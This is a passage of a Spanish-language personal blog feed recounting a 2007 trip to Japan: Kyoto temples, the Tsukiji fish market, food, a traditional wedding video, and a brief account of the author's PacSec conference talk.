value="http://www.youtube.com/v/h-NmxktUQLw&amp;rel=1"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/h-NmxktUQLw&amp;rel=1" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;Disfruten&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6919351378316058382?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6919351378316058382/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6919351378316058382' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6919351378316058382'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6919351378316058382'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/12/rock-and-roll-carajo.html' title='Rock and Roll carajo!'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-3569711782795927258</id><published>2007-12-11T05:48:00.000-08:00</published><updated>2007-12-11T05:54:07.962-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tradicional'/><category scheme='http://www.blogger.com/atom/ns#' term='miyajima'/><category scheme='http://www.blogger.com/atom/ns#' term='japanese'/><category scheme='http://www.blogger.com/atom/ns#' term='wedding'/><category scheme='http://www.blogger.com/atom/ns#' term='japones'/><category scheme='http://www.blogger.com/atom/ns#' term='casamiento'/><category scheme='http://www.blogger.com/atom/ns#' term='traditional'/><title type='text'>Ceremonia de Casamiento en Japon</title><content type='html'>Casi de casualidad, recorriendo el templo Itsukushima el templo principal de la isla de Miyajima  a pocos kilometros de Hiroshima tuvimos la suerte de presenciar un casamiento tradicional Japones, aca el video (La flauta suena desafinada, culpen el rudimentario microfono de la camara)&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://www.youtube.com/v/L9zqd-Fk2Q0&amp;rel=1"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/L9zqd-Fk2Q0&amp;rel=1" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-3569711782795927258?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/3569711782795927258/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=3569711782795927258' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3569711782795927258'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/3569711782795927258'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/12/ceremonia-de-casamiento-en-japon.html' title='Ceremonia de Casamiento en Japon'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-2073425947539061798</id><published>2007-12-11T03:45:00.000-08:00</published><updated>2007-12-11T04:10:40.646-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tokyo'/><category scheme='http://www.blogger.com/atom/ns#' term='pacsec'/><category scheme='http://www.blogger.com/atom/ns#' term='japon'/><category scheme='http://www.blogger.com/atom/ns#' term='vista'/><category scheme='http://www.blogger.com/atom/ns#' term='presentacion'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='japan'/><category scheme='http://www.blogger.com/atom/ns#' term='heap overflow'/><title type='text'>Que pinta papa!</title><content type='html'>En el contexto de PacSec 2007, en Tokyo Japon.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-173.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-173.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family:courier new;"&gt;Dragos anunciando mi charla, antes de comenzar&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-174.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-174.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family:courier new;"&gt;Primer diapositiva, traducida al Japones (Lindo, no?)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-177.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-177.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family:courier new;"&gt;Les recuerdo, que fue la ultima charla del ultimo dia, asi que era inevitable agregarle algo de humor para mantener a un publico exahusto.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-176.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-176.jpg" alt="" border="0" /&gt;&lt;/a&gt; &lt;span style="font-family:courier new;"&gt;En medio del fragor de la batalla&lt;/span&gt; &lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-178.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-178.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-family:courier new;"&gt;Una larga historia&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-179.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px;" src="http://sid.rstack.org/gallery/galleries/200711_Tokyo/mq/img-179.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family:courier new;"&gt;Preguntas?&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La disertacion salio moderadamente bien, algunos problemas tecnicos al comenzar. En mi notebook no podia ver las diapositivas por lo que ayudo un poco a los nervios, pero una vez que ya embarrado en la cancha, uno se tranquiliza y larga todo lo que sabe.&lt;br /&gt;&lt;br /&gt;Otro problema importante (que esperemos que dragos y los organizadores encuentren una forma de cambiarlo en el futuro) se encuentra en que las presentaciones traducidas al espaniol estan en otra notebook, por la que uno, enfrentado al publico, tiene que andar tecleando 'next' en las dos computadoras. Triple desafio: Presentar la informacion correctamente, coordinacion cerebro-dedo y utilizar un ingles correcto.&lt;br /&gt;&lt;br /&gt;Pero todo salio bien, saque algunas sonrisas (uno de los objetivos mas complicados, frente a un publico nipon) y tuve alguna que otra pregunta.&lt;br /&gt;&lt;br /&gt;Se le agradece a Cedric Blancer (&lt;a href="http://sid.rstack.org/"&gt;http://sid.rstack.org&lt;/a&gt;) por el material fotografico.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-2073425947539061798?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/2073425947539061798/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=2073425947539061798' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2073425947539061798'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2073425947539061798'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/12/que-pinta-papa.html' title='Que pinta papa!'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6603931475724582550</id><published>2007-12-03T14:06:00.001-08:00</published><updated>2007-12-03T14:13:15.478-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='temples'/><category scheme='http://www.blogger.com/atom/ns#' term='kyoto'/><category scheme='http://www.blogger.com/atom/ns#' term='templos'/><category scheme='http://www.blogger.com/atom/ns#' term='japan'/><title type='text'>Cronicas Nipponas - 9to Capitulo - "Hitler era muy Zen"</title><content type='html'>Estimados lectores,&lt;br /&gt;  Luego de un largo intervalo de silencio, volvemos al ruedo en nuestras cronicas de viajeros por el interior del Japon.&lt;br /&gt;  En este caso, en la hermosa ciudad de Kyoto, conocida por su gran numero de templos y por ser la antigua capital de Japon. Su belleza fue la consideracion por la cual Estados Unidos opto por no tirar la bomba alla en la segunda guerra mundial.&lt;br /&gt;  Kyoto esta localizada en un valle, rodeado de 3 montanias Higashiyama, Kitayama y Nishiyama.&lt;br /&gt;&lt;br /&gt;  Si en algun momento, a nuestros lectores se le ocurrio que el sistema de trenes de Tokyo era complicado fue por que todavia no leyo en nuestras cronicas, sobre el sistema de colectivos de Kyoto. Si bien es una ciudad chica, con aproximadamente 1.5 millones de personas (y todas visitan juntan los templos los fines de semana) tiene alrededor de 29 lineas de colectivo que cubren la totalidad de la ciudad. Viajar en colectivo es una peculiar experiencia, se entra por la puerta trasera y se sale por la delante, se paga siempre al final del viaje, el conductor no grita, usa guantes y un microfono con el que indica las paradas (Al margen de las pantallas). Lo que no se evita, es viajar en forma sardinesca, caracteristica mundial de los colectivos citadinos, la unica diferencia es que los japoneses rompen record de persona por centimetro cuadrado (Ya lo dijo buda "Donde entran 1, entran 20").&lt;br /&gt;&lt;br /&gt; Por motivos de tiempo (ya estamos partiendo para Hiroshima), no voy a describir los templos, pero si les dejo algunas fotos para que disfruten. Miren atentamente la variedad de colores que van del amarillo al bordeaux en el follaje de los cerezos que es especialmente hermosa.&lt;br /&gt;&lt;a href="http://picasaweb.google.com/nicowow/02122007"&gt;http://picasaweb.google.com/nicowow/02122007&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; Para los que estaban preocupado por el tema (posiblemente solo Cari y Nico), ya pudimos comprar una valija adecuada (Notese que todas las valijas sencillas que habiamos encontrado hasta al momento estaban alrededor de los 1500 usd, si, Japon es caro, especialmente los shoppings). Pero ya estamos en camino, con valija nueva, valija chica, y la vieja, que la llevamos al hombro.&lt;br /&gt; &lt;br /&gt; Mas novedades desde Hiroshima!&lt;br /&gt;&lt;br /&gt;Hasta pronto&lt;br /&gt;&lt;br /&gt;Cari &amp; Nico&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6603931475724582550?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6603931475724582550/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6603931475724582550' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6603931475724582550'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6603931475724582550'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/12/hitler-era-muy-zen.html' title='Cronicas Nipponas - 9to Capitulo - &quot;Hitler era muy Zen&quot;'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-6690196065720517017</id><published>2007-12-01T11:55:00.001-08:00</published><updated>2007-12-01T11:55:21.147-08:00</updated><title type='text'>Cronicas Nipponas - 8to Capitulo - "Reforzando las ruedas"</title><content type='html'>Sean todos bienvenidos nuevamente a este humilde diario de viajero,&lt;br /&gt;&lt;br /&gt;Es muy importante, a la hora de viajar a Japon tener en cuenta dos o tres hechos de los cuales por mas que se intente, no se va a poder escapar.&lt;br /&gt; En Japon se camina. No importa cuantos yenes uno tenga en el bolsillo, uno va a tener que transladarse dentro de los subtes, trenes, en el aeropuerto, por las calles, en un templo, por ende, siempre es recomendable ir lo mas lijero de equipaje de mano y en cuanto al equipaje grande, bueno, intenten buscar la mejor valija posible por tamanio y durabilidad.&lt;br /&gt; &lt;br /&gt;  Ese fue el caso de estos viajeros, que compraron especificamente una valija del tamanio mas grande (Sabiendo que se llenaria con algunos artilujios) y con 4 ruedas, asi facilita su movimiento (Pese a que cuidadosamete, se contrato hoteles cercanos a las estaciones de subte). Pero todo eso fue en vano, ya que solo en el primer tramo Hotel de Tokyo hasta Shibuya, se perdio la primer rueda de la valija grande.&lt;br /&gt;  Pero ello no vencio a estos aventureros, y con un poco de creatividad argentina lograron llegar a la estacion con 3 ruedas. De Shibuya se tomaron el subte a la estacion Tokyo, y alli el famoso Shinkansen (Tren Bala).&lt;br /&gt;  El Tren Bala Japones es una muestra de la alta tecnologia de este pais. Recorre alrededor de 2000 kilometros (o mas) desde el extremo norte al sur. En nuestro caso, nos tomamos el Shinkansen Hikari que comienza en Tokyo y tiene como destino Kyoto, haciendo algunas paradas intermedias como Nagoya, etc y entre los paisajes que recorre se encuentra el famoso Monte Fuji y el estadio Ark Theatre Sanyo (Que posee la mayor cantidad de paneles solares del mundo). Les recuerdo, que como todo en japon, tiene una precision kilometrico y salio y llego en horario.&lt;br /&gt;&lt;br /&gt;  Llegados a Kyoto, solo quedaba caminar unas dos cuadras (Segun el mapita que indicaba nuestro hotel), que se convirtieron en alrededor de 8 dado la longitud de las calles. Y en ese tramo, como era de esperar se perdio la segunda rueda. De ahi en mas, fue todo dolor y callos hasta llegar finalmente al Kyoto Tokyu Hotel.&lt;br /&gt;  Un hermoso hotel en el norte de Tokyo el cual nos encontramos en este momento escribiendo estas cronicas.&lt;br /&gt;&lt;br /&gt;  Al lado del hotel y extrensamente recorrido por sus servidores, se encuentra el templo Nishi-Hongaji ("Hongaji del Oeste"). Este templo es la cabeza del ala Hongaji de la secta budista Jodo-Shinshu (Notese que 'secta' no tiene el nombre despectivo que se utiliza en Argentina, es simplemente religion) con millones de seguidores alrededor del mundo. (Aunque ninguno de ellos, tenia una rueda extra para prestarnos).&lt;br /&gt;  Este templo fue construido en 1591 por Toyotomi Hideoshi (un general bastante combativo de esa epoca) luego que otro templo de similares caracteristicas fuera destruido en Osaka por su enemigo Oda Nobunaga. Este hermoso templo fue designado por la UNESCO como "Patromonio mundial"&lt;br /&gt;&lt;br /&gt;  Para los sedientos de fotografias, aqui pueden ver algunas:&lt;br /&gt;&lt;br /&gt;http://picasaweb.google.com/nicowow/01122007Kyoto1stDay&lt;br /&gt;&lt;br /&gt;Hasta pronto&lt;br /&gt;Cari &amp; Nico&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-6690196065720517017?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/6690196065720517017/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=6690196065720517017' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6690196065720517017'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/6690196065720517017'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/12/cronicas-nipponas-8to-capitulo.html' title='Cronicas Nipponas - 8to Capitulo - &quot;Reforzando las ruedas&quot;'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-2982716893073447392</id><published>2007-11-30T15:07:00.001-08:00</published><updated>2007-11-30T15:07:36.549-08:00</updated><title type='text'>Cronicas Nipponas - 7to Capitulo - "Recapitulando Restaurantes"</title><content type='html'>Estimados lectores,&lt;br /&gt;  Nuevamente nos encontramos aqui, en visperas del viaje a Kyoto, en una de las tantas hermosas nubladas manianas que el imperio del sol naciente nos ofrece.&lt;br /&gt;  En esta edicion, gracias a nuevos elementos tecnicos pudimos subir el material fotografico de la camara que denominaremos "Camara C" (Es decir, la camara que lleva siempre Cari).&lt;br /&gt;&lt;br /&gt;  Conociendo ya, los manjares a los que se presenta el turista frecuente de avion (Ensaladas con un condimento de rara precedencia, Pasta recalentada, Pollo seco con verduras pasadas de hervor, etc), el viaje de Washington a Tokyo nos sorprendio con un menu de mediodia que consistia en una serie de verduras con pollo al gengibre, arroz, una serie de quesos y rabanos a la vinagreta y unos interesantes fideos frios.&lt;br /&gt;  http://picasaweb.google.com/nicowow/CamaraCariFrom2629November2007/photo#5138740634177427634&lt;br /&gt;&lt;br /&gt;  Como se describio detalladamente en el primer capitulo de esta aventura, el primer encuento Argentino-Japones se realizo en una local de 'yakiniku' (parrilada a la Japonesa), aqui se puede apreciar el documento fotografico que lo prueba:&lt;br /&gt;   http://picasaweb.google.com/nicowow/CamaraCariFrom2629November2007/photo#5138740664242198786&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Otros de los manjares que este equipo tuvo la suerte de deleitar, fueron distintas variades de Niguiri ( Arroz con una tira rectangular de pescado crudo/cocido por arriba).&lt;br /&gt;   http://picasaweb.google.com/nicowow/CamaraCariFrom2629November2007/photo#5138740711486839138&lt;br /&gt;   http://picasaweb.google.com/nicowow/CamaraCariFrom2629November2007/photo#5138740715781806450&lt;br /&gt;  No describiremos con precision cada uno, pero entre ellos habia toda clase de salmon y atunes, huevos de salmon, anguilas varias y un niguiri desconocido para nosotros, que consistia en higado de pez sapo (Es decir, una suerte de Foie Grass Japones).&lt;br /&gt;  Tambien, dentra de la gama del sushi, visitamos el restaurant que tenia la cinta automatica que trasladaba platos:&lt;br /&gt;   http://picasaweb.google.com/nicowow/CamaraCariFrom2629November2007/photo#5138741647789709746&lt;br /&gt;&lt;br /&gt;  Para los que estan interesados en conocer las entranias del Bank Of Japan y el equipo de trabajo de XBRML (incluyendo a nuestra especialista en economia), solo tienen que clickear en el siguiente link:&lt;br /&gt;  http://picasaweb.google.com/nicowow/CamaraCariFrom2629November2007/photo#5138741673559513586&lt;br /&gt;&lt;br /&gt;  Finalmente, les dejamos dos fotos de la conferencia (prometemos mas), donde se puede ver en la primera un grupo de franceses que vinieron a presentar sobre temas varios, y la segunda a "Kostya", un companiero de trabajo de Nico, Frances tambien, ofreciendo Abrazos gratis.&lt;br /&gt;  http://picasaweb.google.com/nicowow/CamaraCariFrom2629November2007/photo#5138743425906170786&lt;br /&gt;  http://picasaweb.google.com/nicowow/CamaraCariFrom2629November2007/photo#5138743430201138098&lt;br /&gt;&lt;br /&gt;Hasta la proxima!&lt;br /&gt;Cari &amp; Nico&lt;br /&gt;PD: Si quieren ver mas fotos, dirigirse a: http://picasaweb.google.com/nicowow/CamaraCariFrom2629November2007&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-2982716893073447392?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/2982716893073447392/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=2982716893073447392' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2982716893073447392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/2982716893073447392'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/11/cronicas-nipponas-7to-capitulo.html' title='Cronicas Nipponas - 7to Capitulo - &quot;Recapitulando Restaurantes&quot;'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-285367731111306558</id><published>2007-11-30T12:52:00.000-08:00</published><updated>2007-11-30T12:53:12.736-08:00</updated><title type='text'>FREE HUGS</title><content type='html'>Se ofrecen&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;object width="425" height="355"&gt;&lt;param name="movie" value="http://www.youtube.com/v/1wXxdVKVWWo&amp;rel=1"&gt;&lt;/param&gt;&lt;param name="wmode" value="transparent"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/1wXxdVKVWWo&amp;rel=1" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6583006355693901620-285367731111306558?l=eticanicomana.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://eticanicomana.blogspot.com/feeds/285367731111306558/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6583006355693901620&amp;postID=285367731111306558' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/285367731111306558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6583006355693901620/posts/default/285367731111306558'/><link rel='alternate' type='text/html' href='http://eticanicomana.blogspot.com/2007/11/free-hugs.html' title='FREE HUGS'/><author><name>Nico Waisman</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_aUReV5sSeqk/SK8WvUJkBdI/AAAAAAAADD4/PGa-HWl7rJw/S220/DSC00333.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6583006355693901620.post-398499754651353982</id><published>2007-11-29T09:58:00.001-08:00</published><updated>2007-11-29T09:58:14.100-08:00</updated><title type='text'>Cronicas Nipponas - 5to Capitulo - "En busca del pescado crudo"</title><content type='html'>Con el transcurso de los dias, los miembros de la expedicion lentamente van aumentando sus habilidades para comprender, comunicarse y transladarse. En esta ocasion, y con motivo del insomnio post jet-lag, el equipo se dirigio a las 5 am, para el famoso mercado de pescado Tsukiji. Para ello, se tomaron la Yamamote Line de los JR (Japanese Rail) con direccion Omotesando, y se bajaron en la estacion Ebisu. Ahi, hicieron combinacion con la Hibiya Line para que, luego de 10 estaciones y 20 minutos, arrivaran a la estacion Tsukiji.&lt;br /&gt;-------------------&lt;br /&gt;Cara de 5am: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138061495429410082" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138061495429410082&lt;/a&gt;&lt;br /&gt;Hibiya Line:  &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138061508314312034" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138061508314312034&lt;/a&gt;&lt;br /&gt;Japoneses invadidos por la publicidad dentro de los subtes:  &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138061525494181250" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138061525494181250&lt;/a&gt;&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;El mercado tsukiji data del siglo 16, periodo Edo, en donde el shogun de Tokyo invito a varios pescadores a pescar cerca del castillo para proveer de alimento al castillo. En la actualidad, el mercado maneja alrededor de 2882 toneladas de pescado por dia (El dia de ayer, fueron 2882 menos medio kilo, que fueron los sushi que Cari y Nico desgustaron solo con el objetivo de complicar las estadisticas).&lt;br /&gt;Una de las mas impresionantes caracteristicas de este mercado, aunque suene inversomil, es que no tiene absolumentamete olor a pescado. Si bien, por ejemplo, si uno pasa por un negocio de pescado seco, siente temporalmente ese olor especifico - para ubicarse olfativamente, el olor se asemeja al de los frascos amarillos de escamas que se le dan a los peces de pescera- pero en las demas stands donde se vende pescado crudo no hay absolutamente ningun tipo de olor, lo cual le da una caracteristica unica.&lt;br /&gt;Aparte de vender pescado crudo, tambien hay todo tipo de verduras, rabanos -recuerden que los japoneses consumen mucho este tipo de vegetal-, te y toda clase de utencillos para la cocina de los restaurantes.&lt;br /&gt;-----------------&lt;br /&gt;Pescado sin olor, prueben acercar la nariz al monitor y comprobaran la veracidad: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138061538379083170" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138061538379083170 &lt;/a&gt;&lt;br /&gt;Semillas de Poroto Azuky: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138061559853919714" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138061559853919714&lt;/a&gt;&lt;br /&gt;Frasquitos para la salsa de soja:  &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138061581328756274" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138061581328756274&lt;/a&gt;&lt;br /&gt;Rabanos: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138061589918690898" target="_blank"&gt; http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138061589918690898&lt;/a&gt;&lt;br /&gt;No se hagan los vivos con los pescadores: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138061632868364034" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138061632868364034 &lt;/a&gt;&lt;br /&gt;Pescada: &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138061658638167858" target="_blank"&gt;http://picasaweb.google.com&lt;wbr&gt;/nicowow/29112007Tokyo/photo&lt;wbr&gt;#5138061658638167858&lt;/a&gt;&lt;br /&gt;Como tenia que ser, desayunamos unas piezas de sushi para comenzar el dia con todo:  &lt;a href="http://picasaweb.google.com/nicowow/29112007Tokyo/photo#5138061602803592850" 